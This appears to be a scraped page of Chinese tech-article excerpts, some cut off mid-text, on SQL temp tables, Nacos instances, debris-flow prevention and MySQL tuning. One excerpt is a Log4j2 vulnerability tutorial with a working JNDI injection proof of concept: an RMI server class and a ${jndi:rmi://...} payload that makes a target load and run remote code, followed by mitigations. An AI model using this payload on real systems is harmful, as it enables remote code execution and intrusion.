精华内容
下载资源
问答
  • 点击关注上方“SQL数据库开发”,设为“置顶或星标”,第一时间送达干货SQL专栏SQL基础知识第二版SQL高级知识第二版今天我们来讲讲临时表的优化技巧临时表,顾名思义就只是临时使用的一张表...

    点击关注上方“SQL数据库开发”,

    设为“置顶或星标”,第一时间送达干货

    SQL专栏

    SQL基础知识第二版
    SQL高级知识第二版

    今天我们来讲讲临时表的优化技巧

    临时表,顾名思义就只是临时使用的一张表,一种是本地临时表,只能在当前查询页面使用,新开查询是不能使用它的,一种是全局临时表,不管开多少查询页面均可使用。

    0、测试环境

    SQL Server 2017

    1、本地临时表

    本地临时表在表名前加#即可,我们先来看看本地临时表的特性

    我们新建一个查询页面,输入如下代码:

    SELECT TOP 10 * INTO #temp
    FROM sales.Temp_Salesorder;
    SELECT * FROM #temp;

    结果如下:

    我们再新开一个页面,重新输入如下代码:

    SELECT * FROM #temp;

    结果如下:

    证明本地临时表只能在当前页面执行。

    2、全局临时表

    全局临时表在表名前加##即可,打开任何一个查询页面都可以使用它。

    重复上面的步骤:

    SELECT TOP 10 * INTO ##temp
    FROM sales.Temp_Salesorder
    SELECT * FROM ##temp;

    结果和上面一样:

    我们再新开一个页面:

    SELECT * FROM ##temp;

    结果还是一样。证明全局临时表所有查询页面均可以使用。

    3、临时表的优化方法

    介绍完临时表,我们来说说如何用它来进行优化

    临时表的优化一般使用再子查询较多的情况下,也称为嵌套查询。我们写如下子查询:

    SELECT * FROM sales.Temp_Salesorder
    WHERE SalesOrderDetailID IN 
    (SELECT SalesOrderDetailID FROM sales.SalesOrderDetail
    WHERE UnitPrice IN
     (SELECT UnitPrice FROM sales.SalesOrderDetail WHERE UnitPrice>0)
    )

    (提示:代码可以左右滑动)

    这是一个比较简单的两层嵌套子查询,我们看一下执行情况:

    可以看到这里的逻辑读取是比较高的。

    我们用临时表重新来看下执行情况如何,我们将第一二层的查询结果插入到#temp中,然后从临时表中查询结果。

    SELECT SalesOrderDetailID INTO #temp FROM sales.SalesOrderDetail
    WHERE UnitPrice IN (SELECT UnitPrice FROM sales.SalesOrderDetail WHERE UnitPrice>0)
    
    SELECT * FROM sales.Temp_Salesorder
    WHERE SalesOrderDetailID IN 
    (SELECT SalesOrderDetailID FROM #temp)

    执行情况如下:

    相比上一次的逻辑读,成倍的减少了逻辑读取次数。在对查询的性能进行调节时,如果逻辑读值下降,就表明查询使用的服务器资源减少,查询的性能有所提高。如果逻辑读值增加,则表示调节措施降低了查询的性能。在其他条件不变的情况下,一个查询使用的逻辑读越少,其效率就越高,查询的速度就越快。

    因此我们可以看出临时表在比较复杂的嵌套查询中是可以提高查询效率的。

    今天的课就讲到这里,有不明白的同学可以在下方留言,我会一一回复。

    
    
    推荐阅读
    
    
    后台回复关键字:1024,获取一份精心整理的技术干货
    后台回复关键字:进群,带你进入高手如云的交流群
    
    展开全文
  • 修复手段 临时缓解措施: 设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。 设置log4j2.formatMsgNoLookups=True。 设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 为 true。 采用 rasp 对lookup的调用...

    12月9日晚间,ApacheLog4j2被曝光存在严重漏洞,可以随意执行任意远程代码,本贴将详细分析事故原因及实战复现此漏洞!

    一.事件详情

    1.事件经过

    2021年12月9日,国内多家机构监测到Apache log4j存在任意代码执行漏洞,并紧急通报相关情况。由于ApacheLog4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

    该漏洞CVSS评分达到了满分10分,影响全球一大半的互联网企业,包括百度、苹果等企业都被爆出存在该漏洞,众多媒体将这个漏洞形容成“史诗级”“核弹级”漏洞,可以说相当贴切。

    2021年12月9日晚间,Apache官方发布了紧急安全更新以修复该远程代码执行漏洞,但更新后的Apache Log4j 2.15.0-rc1 版本被发现仍存在漏洞绕过,多家安全应急响应团队发布二次漏洞预警。

    12月10日凌晨2点,Apache官方紧急发布log4j-2.15.0-rc2版本,以修复Apache log4j-2.15.0-rc1版本远程代码执行漏洞修复不完善导致的漏洞绕过。

    据了解,此次漏洞是由 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在处理数据时,并未对输入(如${jndi)进行严格的判断,从而造成注入类代码执行。

    2.影响范围

    Apache log4j2 2.0 - 2.14.1 版本均受影响。

    其中的组件包括:

    • Spring-Boot-strater-log4j2
    • Apache Struts2
    • Apache Solr
    • Apache Druid
    • Apache Flink
    • ElasticSearch
    • Flume
    • Dubbo
    • Jedis
    • Logstash
    • Kafka

    二.原理解析

    1.漏洞发生基础

    Log4j2支持Lookup语法可以在执行日志时动态的执行命令,方便调试时输出信息。https://logging.apache.org/log4j/2.x/manual/lookups.html

    比如:

    public static void main(String[] args) {
        log.info("当前操作系统:${java:os}");
        log.info("当前Java信息:${java:version}");
        log.info("当前时间:${date:yyyy年MM月dd日}");
    }
    

    在这里插入图片描述

    此时骚操作就来了:lookup除了在此处可以直接执行,还可以作为参数传入执行!

    public static void main(String[] args) {
        String username = "${java:os}";
        log.info("当前登录的用户为:{}",username);
    }
    

    在这里插入图片描述
    所以说在Web服务中,如果我们输出的内容包括用户参数,用户就可直接传入lookup字符串破坏我们的日志输出!

    2.Java分布式技术:JNDI/RMI介绍

    远程方法调用RMI(Remote Method Invocation):

    RMI是一种计算机之间对象互相调用对方函数,启动对方进程的一种机制,使用这种机制,某一台计算机上的对象在调用另外一台计算机上的方法时,使用的程序语法规则和在本地机上对象间的方法调用的语法规则一样。

    使用此技术,我们可以将Java程序存放于不同服务器上,以供我们远程调用,是最早的分部署服务的调用方式!

    Java命名和目录接口JNDI(Java Naming and Directory Interface):
    是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

    rmi技术产生后,使远程对象的查找成为了技术焦点。JNDI技术产生后,就可方便的查找远程或者本地对象

    总结:
    jndi 是一种框架,rmi是一种具体的技术细节。
    JNDI是命名服务的Java实现。命名服务的作用,就是为某个资源,指定一个字符串形式的名字。
    URL大家都很熟悉,它就是把字符串形式的URL地址,对应到一台网络上存在的主机,或者主机上的一个目录或文件。JNDI的应用范围比URL要广得多。你可以用命名服务给一个文件、一个数据库、一个ActiveX控件等起一个名字,这样,你就可以在程序中使用这个字符串,然后由JNDI负责找到对应的资源,调出来给你提供服务。
    RMI和RPC比较类似,是用来调用远程主机上提供的某个方法。远程主机上可能提供了股票服务,你可以用他来查找某种股票的价格;也可能提供了车票查询服务,你可以查询某趟车次。而RMI在调用这些服务之前,需要首先找到远程主机上提供服务的对象,这就是利用JNDI来完成的。RMI通过JNDI找到远程主机上提供服务的对象,得到该对象的引用后,RMI就和JNDI没有关系了。后面的操作都是RMI负责完成的。客户端调用该引用的方法时,RMI负责把该调用映射到远程主机上真正的方法上。

    3.漏洞发生原因

    现在我们知道了Log4j2框架支持lookup语法,也知道了用户可以直接填写字符串改变输出的内容,但是到此为止还没有什么大危害,最多只能改变日志的输出结构。
    但是,loolup语法不仅可以输出信息,还全面支持JNDI,可以任意的动态加载网络中的类,并执行其中代码!
    所以,此漏洞本质上就是利用了JNDI注入,在目标服务器中执行我们设置好的远程代码。

    三.实战—复现Log4j2远程代码执行漏洞

    实战演示

    在这里插入图片描述
    由于我的世界服务器使用Log4j2框架,所以在聊天窗口发送攻击命令后,可以直接在服务器端启动恶意代码(此处为计算器)

    代码演示

    RMI-Server端:

    • 包结构:com.wojiushiwo.rmi
    • RmiServer类:RmiTest.java
    • 要执行的代码:HackCode.java
    package com.wojiushiwo.rmi;
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import javax.naming.Reference;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    /**
     * @version 1.0
     * @Auther wojiushiwo500
     * @since 2021-12-11
     */
    public class RmiTest {
        public static void main(String[] args) {
            try {
            	//暴露本机1099端口作为RMI服务器端口
                LocateRegistry.createRegistry(1099);
                Registry registry = LocateRegistry.getRegistry();
                //将目标类绑定与RMI服务绑定
                Reference reference = new Reference(
                        "com.wojiushiwo.rmi.HackCode"
                        ,"com.wojiushiwo.rmi.HackCode"
                        ,null);
                ReferenceWrapper wrapper = new ReferenceWrapper(reference);
                registry.rebind("HackCode",wrapper);
                System.err.println("RMI服务已开启,等待用户接入.......");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    package com.wojiushiwo.rmi;
    /**
     * @version 1.0
     * @Auther wojiushiwo500
     * @since 2021-12-11
     */
    public class HackCode {
        static {
            System.err.println("要执行的恶意代码..........");
        }
    }
    

    此时 RmiTest会开启RMI服务,等待用户接入并读取目标类(HackCode),此时如有多个类,都可以使用Reference同时映射,HackCode中包含静态代码块,在目标类加载后可以立即执行。

    目标端:

    • 包结构:com.wojiushiwo.log4j2
    • 测试类:Log4j2Test.java
    package com.wojiushiwo.log4j2;
    import lombok.extern.slf4j.Slf4j;
    /**
     * @version 1.0
     * @Auther 张朝宾
     * @since 2021-12-11
     */
    @Slf4j
    public class Log4j2Test {
        public static void main(String[] args) {
        	//格式分别为${jndi:rmi://目标IP:目标端口/目标类}
            String username = "${jndi:rmi://192.168.10.20:1099/HackCode}";
            log.info("当前登录的用户为:{}",username);
        }
    }
    

    此处模拟用户输入了攻击语句${jndi:rmi://192.168.10.20:1099/HackCode},而后日志将其解析后,就会执行目标RMI服务器上的HackCode类。

    此时启动RMI-Server端:
    在这里插入图片描述
    目标服务器执行命令:
    在这里插入图片描述
    此时可以看到:目标服务器中的攻击语句被log4j2运行,目标类被夹在,同时恶意代码被运行!

    此处可为任意Java代码,此漏洞危害巨大!!!

    四.修复手段

    临时缓解措施:

    • 设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。
    • 设置log4j2.formatMsgNoLookups=True。
    • 设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 为 true。
    • 采用 rasp 对lookup的调用进行阻断。
    • 采用waf对请求流量中的${jndi进行拦截。
    • 禁止不必要的业务访问外网。

    Apache Log4j 官方已经发布了解决上述漏洞的安全更新,建议受影响用户尽快升级到安全版本:

    • 安全版本:log4j-2.15.0-rc2

    本教程仅作为技术讨论说明原理,演示内容在远程服务器中无法直接复现,只可本地同工程测试使用,远程绑定复现方式暂不讨论,谢谢大家观看,希望引以为戒,尽快修复!

    -FINISH-

    展开全文
  • 本篇文章Nacos核心逻辑篇,给大家讲解一下「临时实例」与「持久化实例」的区别及运用场景。 Nacos的临时实例与持久化实例 在Nacos Client进行实例注册时,我们知道是通过Instance对象来携带实例的基本信息的。在...

    学习不用那么功利,二师兄带你从更高维度轻松阅读源码~

    本篇文章Nacos核心逻辑篇,给大家讲解一下「临时实例」与「持久化实例」的区别及运用场景。

    Nacos的临时实例与持久化实例

    在Nacos Client进行实例注册时,我们知道是通过Instance对象来携带实例的基本信息的。在Instance中有一个ephemeral字段,用来表示该实例是临时实例,还是持久化实例。

    public class Instance implements Serializable {
        
        /**
         * If instance is ephemeral.
         *
         * @since 1.0.0
         */
        private boolean ephemeral = true;
        // 省略其他
    }
    

    从源码可以看出ephemeral字段是1.0.0版本新增的,用来表示注册的实例是否是临时实例还是持久化实例。

    目前,无论是Nacos 1.x版本,还是2.x版本,ephemeral的默认值都是true。在1.x版本中服务注册默认采用http协议,2.x版本默认采用grpc协议,但这都未影响到ephemeral字段的默认值。

    也就是说,一直以来,Nacos实例默认都是以临时实例的形式进行注册的。

    当然,也是可以通过application的配置来改变这里默认值的。比如:

    # false为永久实例,true表示临时实例
    spring.cloud.nacos.discovery.ephemeral=false
    

    上面是基于Spring Cloud进行配置,false为永久实例,true表示临时实例,默认为true。

    临时实例与持久化实例的区别

    临时实例与持久化实例的区别主要体现在服务器对该实例的处理上。

    临时实例向Nacos注册,Nacos不会对其进行持久化存储,只能通过心跳方式保活。默认模式是:客户端心跳上报Nacos实例健康状态,默认间隔5秒,Nacos在15秒内未收到该实例的心跳,则会设置为不健康状态,超过30秒则将实例删除。

    持久化实例向Nacos注册,Nacos会对其进行持久化处理。当该实例不存在时,Nacos只会将其健康状态设置为不健康,但并不会对将其从服务端删除。

    另外,可以使用实例的ephemeral来判断健康检查模式,ephemeral为true对应的是client模式(客户端心跳),为false对应的是server模式(服务端检查)。

    为什么要设计两种模式?

    上面说了两种模式的不同和处理上的区别,那么Nacos为什么设计两种模式,它们是为了应对什么样的场景而存在呢?

    对于临时实例,健康检查失败,则直接可以从列表中删除。这种特性就比较适合那些需要应对流量突增的场景,服务可以进行弹性扩容。当流量过去之后,服务停掉即可自动注销了。

    对于持久化实例,健康检查失败,会被标记成不健康状态。它的好处是运维可以实时看到实例的健康状态,便于后续的警告、扩容等一些列措施。

    除了上述场景之外,持久化实例还有另外一个场景用的到,那就是保护阈值。

    Nacos的保护阈值

    关于保护阈值,在前面的文章中专门写到过。

    Nacos中可以针对具体的实例设置一个保护阈值,值为0-1之间的浮点类型。本质上,保护阈值是⼀个⽐例值(当前服务健康实例数/当前服务总实例数)。

    ⼀般情况下,服务消费者要从Nacos获取可⽤实例有健康/不健康状态之分。Nacos在返回实例时,只会返回健康实例。

    但在⾼并发、⼤流量场景会存在⼀定的问题。比如,服务A有100个实例,98个实例都处于不健康状态,如果Nacos只返回这两个健康实例的话。流量洪峰的到来可能会直接打垮这两个服务,进一步产生雪崩效应。

    保护阈值存在的意义在于当服务A健康实例数/总实例数 < 保护阈值时,说明健康的实例不多了,保护阈值会被触发(状态true)。

    Nacos会把该服务所有的实例信息(健康的+不健康的)全部提供给消费者,消费者可能访问到不健康的实例,请求失败,但这样也⽐造成雪崩要好。牺牲了⼀些请求,保证了整个系统的可⽤。

    这里我们看到了不健康实例的另外一个作用:防止产生雪崩。

    那么,如果所有的实例都是临时实例,当雪崩场景发生时,Nacos的阈值保护机制是不是就没有足够的(包含不健康实例)实例返回了?如果有一部分实例是持久化实例,即便它们已经挂掉,状态为不健康的,但当触发阈值保护时,还是可以起到分流的作用。

    小结

    关于Nacos临时实例与持久化实例就聊这么多了。如果想更深入了解,其实可以读一下源码。由于基于gRPC的实现过于复杂,可读性不够强,如果想阅读,建议阅读基于Http的实现。

    如果文章内容有问题或想技术讨论请联系我(微信:zhuan2quan,备注Nacos),如果觉得写的还不错,值得一起学习,那就关注一下吧。

    博主简介:《SpringBoot技术内幕》技术图书作者,酷爱钻研技术,写技术干货文章。

    公众号:「程序新视界」,博主的公众号,欢迎关注~

    技术交流:请联系博主微信号:zhuan2quan


    程序新视界

    公众号“ 程序新视界”,一个让你软实力、硬技术同步提升的平台,提供海量资料

    微信公众号:程序新视界

    展开全文
  • 泥石流防治措施

    千次阅读 2021-01-17 19:23:29
     当得知某区域一段时间内将发生泥石流时,则应对该地区采取紧急疏散和保护措施,人员需强行迁至安全区,要建立临时躲避棚,躲避棚的位置要避开沟渠凹岸,以及面积小而低平的凸岸和陡峭的山坡下,应安置在距离村庄...

    一、什么是泥石流

    泥石流是山区沟谷中,由暴雨、冰雪融化等水源激发的、含有大量泥沙石块的特殊洪流。其特征往往突然暴发,浑浊的流体沿着陡峻的山沟前推后拥、奔腾咆哮而下,地面为之震动,山谷犹如雷鸣,在很短时间内将大量泥沙石块冲出沟外,在宽阔的堆积区横冲直撞、漫流堆积,常常给人类生命财产造成很大危害。

    二、泥石流的形成条件

    泥石流的形成,必须同时具备有丰富的松散固体物质、短时间内有大量水的来源和有一定坡度的利于集水集物的沟状地形三个基本条件。人类工程活动也是诱发泥石流的因素之一。形成泥石流的地形一般为山高坡陡,沟床纵坡大,汇流区地形有利于大量水源汇集,而且多为碎屑岩、浅变质岩及花岗岩风化强烈的地区,或者坡面、谷槽、溪沟堆积大量废土碎石的地方。泥石流的形成与降水关系密切,降雨量越大,形成泥石流的机率就越高。

    1、陡坡碎石松土是泥石流的最基本条件

    泥石流多发于河流的发源地,这些源头地区为深切的高山,高差一般都超过500米,沟床比降为150~300‰,最大达600‰(约30°),至于沟侧山坡则皆在30°以上,源头区山坡最大坡度在55°以上。暴雨洪水因此获得巨大动能,从而促使沟床、沟侧的大量堆积物起动,形成泥石流。

    2、强度暴雨易激发泥石流

    根据调查统计,泥石流主要与降雨强度关系密切,泥石流暴发在雨量集中,雨强最大的时段内。有研究提出日雨量超过暴雨标准(日雨量≥50mm)可能产生泥石流,日雨量大于70mm时,可导致多沟齐发的严重后果。泥石流发育在暴雨中心地区,激发泥石流的日雨量超过大暴雨标准 (日雨量≥100mm)。也有研究提出泥石流的激发因素是1小时雨强和十分钟雨强的共同作用。十分钟雨强11mm,1小时雨强36mm做为雨强界限值。这些都是各地区调查情况综合分析而定,对泥石流预测预报有重要参考作用。

    3、人类不适当活动有可能诱发泥石流

    随着社会的发展,人类对自然资源的开发程度和规模也在不断发展。近年来,因为人为因素诱发的泥石流数量正在不断增加。可能诱发泥石流的人类活动主要有以下几个方面:

    (1)不合理开挖:修建铁路、公路、水渠以及其他工程建筑的不合理开挖。因为这些活动常常破坏了山坡表层而导致暴雨容易入渗或破坏了边坡稳定性而引发滑坡、崩塌,进而导致泥石流的发生。

    (2)不合理的弃土、弃渣:修路建房开矿大量废土废碴弃于山坡和溪沟河床,暴雨洪水冲滚下泻,形成的泥石流事例很多。

    (3)滥伐乱垦:滥伐乱垦、丘岗开发、山林全垦全复等使植被消失、山坡失去保护、土体疏松、冲沟发育,大大加重水土流失,进而山坡稳定性破坏,滑坡、崩塌等不良地质现象发育,结果就很容易产生泥石流。

    三、泥石流的运行特征

    泥石流具有两大特征:一是来势凶猛,成灾迅速;二是推、垮、堵、压数种破坏同时并发,灾情规模大,为害深。

    泥石流下游地段,形成大片堆积。粘性泥石流停积后,形成许多与主流向平行的砾石垄岗,整体呈舌状。堆积物很混杂,层次不显,大石块多悬浮于堆积体的顶部、两侧或前缘,砾石表面常有粗糙的斑状或纺缍状擦痕。

    泥石流作用也影响其下游相邻地区的地貌。如泥石流堆积体拥进下游主河河谷,就可能改变主河河谷形态,甚至阻塞河道,形成险滩或暂时断流成湖。

    四、泥石流的危害

    泥石流危害程度往往比单一的滑坡、崩塌和洪水的危害更为广泛和严重。它的表现在以下四个方面:

    1、对居民点的危害:泥石流最常见的危害之一是冲进乡村、城镇,摧毁房屋、工厂、企事业单位及其他场所、设施,淹埋人畜,毁坏土地,甚至造成村毁人亡的灾难。

    2、对基础设施的危害:泥石流可直接埋没车站、铁路、公路、摧毁路基、桥涵等设施,致使交通中断,还可引起正在运行的火车、汽车颠覆,造成重大的人身伤亡事故。有时泥石流汇入河流,引起溪流改道,甚至迫使道路改线,造成巨大经济损失。建国以来,泥石流给我国铁路和公路造成了无法估计的巨大损失。

    3、对矿山的危害:主要是摧毁矿山及其设施,淤埋矿山坑道、伤害矿山人员、造成停工停产,甚至使矿山报废。

    4、对景观生态、环境资源和自然遗产造成毁灭性的、不可恢复的破坏。

    泥石流既有暴雨洪水的水流动能,又挟带大量固体物质碎石岩土的自重,导致山洪容重大增,由坡面向下运动,产生了巨大的搬运力,能将覆在其上的巨块物质,产生强大冲击力,因而在山洪灾害中,泥石流破坏性最大。

    六、防御泥石流灾害的措施

    1、以避让为主的措施

    在泥石流将发生时,通过警报,采取紧急撤离措施,使泥石流过境时灾害损失减至最低。

    当得知某区域一段时间内将发生泥石流时,则应对该地区采取紧急疏散和保护措施,人员需强行迁至安全区,要建立临时躲避棚,躲避棚的位置要避开沟渠凹岸,以及面积小而低平的凸岸和陡峭的山坡下,应安置在距离村庄较近的山坡或位置较高的阶台地上。

    不要顺泥石流沟方向上游或向下游跑,应向沟岸两侧山坡跑,且不要停留在凹坡处。

    2、以抑制泥石流发生为主的措施

    采取蓄、引和拦挡工程,控制形成泥石流的水源和松散固体物质的聚积和启动;以行政管理、法令措施消除激发泥石流的人为因素,从而在源头上抑制泥石流的发生。

    3、以疏导泥石流过境为主的措施

    通过河道改造工程,调节泥石流的流向和流态,消减龙头能量,促使泥石流分流或解体,从而减少通过保护区河道的泥石流流量、流速,使其顺利过境不至危及两岸保护区的安全。

    4、综合防御措施

    针对被保护目标的性质和重要性,采取工程、生物、预警、行政等措施对泥石流进行抑制、疏导、局部避让等综合措施,以求达到最佳治理效和节省投资。

    七、防治泥石流的工程措施

    泥石流的防治原则是三个结合,即防治结合,生物措施与工程措施相结合,民办与公助相结合。全面规划,综合治理。

    (一)坡面水土流失的防治

    1、坡面松散土屑启动

    据多方面观测,坡面启动断面平均流速一般大于0.5m/s。

    下面列举各种不同土质的不冲流速供参考。

    土  壤  名  称

    υ′F(m/s)

    轻   壤   土

    0.6~0.8

    中   壤   土

    0.65~0.85

    重   壤   土

    0.7~1.00

    粘        土

    0.75~0.95

    通过计算,中等坡度地面,光秃坡地流速为植被好的流速的1.5~3倍。

    据观测各种不同条件的坡土最大容许不冲流速分别为:

    粉沙土0.7~0.8m/s

    翻耕以后的疏松粘土、粘壤土:0.8~0.9m/s

    草甸护面壤土1.0~1.2m/s

    植被条件好的坡面,不仅坡面漫流速度减缓,允许不冲流速也大,一般乔灌木草甸混合山坡水土流失较少;中等坡度地开垦以后,特别坡面全垦全复(剃光头),坡面漫流速大,而又容易被启动和冲洗。

    据西北水保所1973年观测,在总降雨量346mm条件下,林地土壤流失量每亩4kg(6t/km2),农耕地238~450kg(357~675t/km2)。另据湖南水土保持研究,大于15度的坡耕裸露地的土壤流失量一般每亩达1000~4000kg(1500~6500t/km2)。

    2、坡面水土流失的防治措施

    多数地区,山洪、泥石流的发生,与坡面水土保持和农业生产活动密切相关。因此,禁止坡地开荒,封山育林,种草种树,搞好水土保持,同时实行合理耕作活动,可以从根本上减轻山洪、泥石流的灾害。现将坡面一般防治措施介绍如下:

    1、退耕植树种草,增加植被覆盖,制止坡土流失

    林草植被的滞洪保土效应主要表现在:一是森林草甸对降水能进行一系列的再分配,以一定比率分配给林地的不同部位,最后成为地表径流的仅为一部分,从而减少了江河洪水量;二是延缓产流时间和减缓径流速度,使径流汇入江河的时间推迟,从而调节洪水流量,降低洪峰水位;三是森林枝叶和地被物挡雨,根系固土,减少了林地土壤侵蚀,使入河泥沙量大大减少,从而减轻洪水危害。

    (1)将天水田和旱土改造成草场和果茶园

    (2)改坡土为梯田

    田间工程由于各地气候、土壤、作物种类、耕作习惯和地形条件各不相同,形式多样,有梯田、培地梗、地边埂、截水沟、水簸箕等,其中以梯田应用最广。梯田按其断面形状不同,可分为:水平梯田、隔坡梯田、阶式梯田、波浪式梯田等。按其修筑材料分有土埂梯田和石坎梯田。

    (二)泥石流的拦截措施

    由于一些地区植物较差,山洪泥石流为害严重,对一些小流域的居民区、铁路、公路、电站、矿山等需要保护载我威胁很大,要求采取积极的工程治理措施,我国在泥石流多发地区积累了这方面的经验。防治泥石流的对策主要是:

    稳:用排水、拦挡、护坡等稳住松散物质、滑塌体及坡面残积物;

    拦:在中、上游设置谷坊或拦挡坝,拦截泥石流固体物;

    排:在泥石流流通段采取排层渠(槽),使泥石流顺畅下排;

    停:在泥石流出口有条件的地方设置停淤场,避免堵塞河道;

    封:即封山育林,退耕还林;

    造:退造林种草,增加植被复盖率。这种生物措施与工程措施相结合的综合治理,从长远考虑以利治本,又可配合发挥工程措施的效益,创造有利环境。

    现将工程防治措施举例如下:

    1、谷坊

    谷坊是在山溪沟道上横向修建的5m以下的低坝,又名闸山沟、沙土坝、拦沙堰等。其作用是为防治沟底下切、沟头上延,还可拦蓄泥沙,使沟底坡度平缓,河床固定,达到减小水流流速和洪水流量保护沟道。

    石谷坊溢水口可直接设在谷坊顶部的中间或靠近地质条件好的岩坡一侧,过水部分可用浆砌。土谷坊一般不允许洪水漫顶,因此,土谷坊的溢洪口是一项重要设施,一般布设在坝址一侧的山坳处或坡度平缓的实土上。如果设在谷坊上但应做好防冲处理。

    谷坊溢水口一般为矩形,断面可用下式宽顶堰公式计算,也可参照下表确定。

    式中:B——溢流口宽度(m)

    Q——溢洪流量立方m/s

    M——流量系数,一般用0.35

    g——9.81m/s2

    H0——计算水头(m),可采用溢洪水深H值。

    土谷坊溢洪道断面尺寸表

    集水面积

    (亩)

    黄土山区

    土石山区

    侧坡

    水深(m)

    底宽(m)

    水深(m)

    底宽(m)

    5

    0.1

    0.6

    0.2

    0.4

    1:1.25

    15

    0.2

    0.9

    0.2

    0.6

    45

    0.3

    0.9

    0.3

    0.7

    75

    0.4

    0.9

    0.4

    0.8

    105

    0.5

    1.0

    0.5

    0.9

    150

    0.6

    1.2

    0.6

    1.0

    坊溢洪口下游与土质沟床连接处,应设消能防冲设施。土石谷坊施工要按小型水利工程施工方法进行。谷坊淤满后要充分利用淤成的土地,种植防冲林木,维护好溢水口,防止形成新的冲沟。

    2、拦挡坝(拦沙坝)

    拦挡坝的目的是以拦蓄山洪、泥石流中的固体物质而采取的防护治理措施。拦挡坝有砌石重力坝、砌石拱坝、铁丝石笼坝、格栅坝等类型。

    砌石拦挡坝一般是坝顶溢流,为减轻过坝泥石流击撞,坝体下游坡设计应当陡,而上游坡应当缓(利用坝内淤积物压重,增加坝体稳定性)。

    3、排导渠(槽)

    排导工程的作用,主要是畅排泥石流,控制泥石流对通过区或堆积区的危害。对于游荡性泥石流沟也可采用,以取得固定沟槽的作用。因为泥石流的破坏性主要表现在水流泥流产生冲击破坏和淹埋破坏。消除卡口,拓宽沟道,或修建泄洪槽、顺水坝护岸和导流堤等,都属于排导工程。在设计这些建筑物时,除考虑水流所固有的冲刷作用外,还应考虑产生的磨损作用,以及建筑物受冲击后,所产生的机械损坏。设计泥石流排导工程,可沿用加以修正的水力学公式和水工结构计算。

    为充分利用天然冲沟,纵坡选择略大于原纵坡。

    排导渠湾道曲率半径一般为8倍渠底宽。

    渠槽深度确定:

    H=hc+h1+△h

    式中:H——渠道边墙高度(m)

    hc——渠中泥深(m)

    h1——渠顶超高,取h1=0.6m

    △h——弯道附加超高(m)

    (三)沉沙池与分沙场

    在泥石流沟道流路上利用荒洼低地或开挖圈围,配合有利的弯道河势,拦截分流沙石,减少泥石流沙石冲压范围。但是这与拦沙坝、拦挡坝不同点,在于沉沙而不是阻断流路,不必对泥石流压力和冲击力进行动力计算,只是确定沉沙池防洪标准,选择沙池合适地点,划定经济合理范围,取得最大的容沙量为准。

    拦石场这项措施,在我国举世闻名的都江堰枢纽工程的布置体系中,“飞沙堰”就是一项成功的分洪减沙工程。天然溪流河道多为弯道,很少有泥沙堵塞现象,许多河道经人工裁弯取直以后,发生泥沙堵塞新槽,洪水冲决新河堤,水仍然走老河槽。造成以上现象的原因

    展开全文
  • 表变量与临时

    2021-03-04 05:42:19
    临时表:create table#tmpTbName(colName1intidentity(1,1),colName2nvarchar(20))insert into#tmpTbName(colName1,colName2)selectc1,c2fromc;drop table#tmpTbName;--删除临时表表变量:declare@tmpTbNametable(co....
  • 文章大纲1. 基于阿里云的典型生产环境安全架构简介1.1 网络安全1.2 主机安全1.3数据库安全1.4应用安全1.5日志2. 源代码管理2.1源代码安全性保障2.2源代码的... ACM应用配置管理6.1目的6.2ACM作用6.3ACM管理维护7. 应用
  • mysql优化措施

    2021-01-25 19:55:25
    SQL是根据表中数据来进行查询优化的,当索引列有大量数据重复时,SQL查询可能不会 去利用索引,如一表中有字段sex,male、female几乎各一半,那么即使在sex上建了索引也对查询效率起不了作用。 13、索引并不是越多越...
  • log4j bug,log4j2 bug, log4j2 bug修复,log4j2 缓解措施无效
  • 那么防雷电有哪些安全措施呢?下面佰佰安全网为大家介绍一下雷电发生时,应采取7项安全防护措施。一、留在室内,关好门窗;在野外无法躲在有防雷设施建筑物时,要将手表、眼镜等金属物品摘掉,千万不要在离电源、...
  • 可是,如果下一个中继段的服务器发生了某个临时性的问题,或者网络中发生了某种通信故障,那么虚拟服务器就会采取适当的措施,例如对消息进行排队,准备再次重试,或者变更消息路由。 如果一个消息在队列中等候时间...
  • 近期临时笔记

    千次阅读 2021-12-13 22:36:06
    Model的作用 在控制器中,数据会存放到Model对象中,当需要生成HTML的时候,模板引擎会根据名字来定位数据。 热加载主要是在idea的setting的compiler中勾选 build project automatically,且只能在debug模式下可用...
  • 那么如何采取有效措施来处理它?下面列出了一些常规的处理方法。 (1)检查攻击来源 通常黑客会通过多个假IP地址发起攻击,此时,如果用户能分辨出哪个是真正的IP地址,哪个是假IP地址,然后知道IP来自哪个网段,然后...
  • 很多开发人员认为当函数传入参数为对象,并且实际调用时因为函数体内的该对象实际上并不是传入的对象,而是该传入对象的一份拷贝,所以认为这时函数体内的那个拷贝的对象也应该是一个临时对象。 在C++语言的设计中...
  • 理论结合实验的计算机组成原理课程教学措施初探.pdf信息技术 1 概述 计算机组成原理课程是普通高等院校计算机科学与技术相关 专业本科生的必修核心专业基础课程之一 目的和任务是使学生通 过对这门课程的学习 能够...
  • 前文分享了Procmon软件基本用法及文件进程、注册表查看,这是一款微软推荐的系统监视...这篇文章将分享APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施。希望文章对您有所帮助。基础性文章,希望对您有所帮助~
  • 不知不觉,距离首次给大家呈上Catalina补救措施(https://zhuanlan.zhihu.com/p/86293497) 过去一个星期了,上班之余我也上来偷瞄了几眼,虽然解决了一部分人的问题(窃喜),但评论区让我意识到(所以平常你们的评论和...
  • D3:制定和实施临时措施 1. ICA是制定永久性纠正措施前的临时围堵措施 2. 制定ICA的原因: 1. 争取时间 2. 保护客户不受影响 3. 制定临时措施步骤: 1. 选择 2. 验证 3. 执行 4. 确认 4. ICA的属性: 1. 实施前需要...
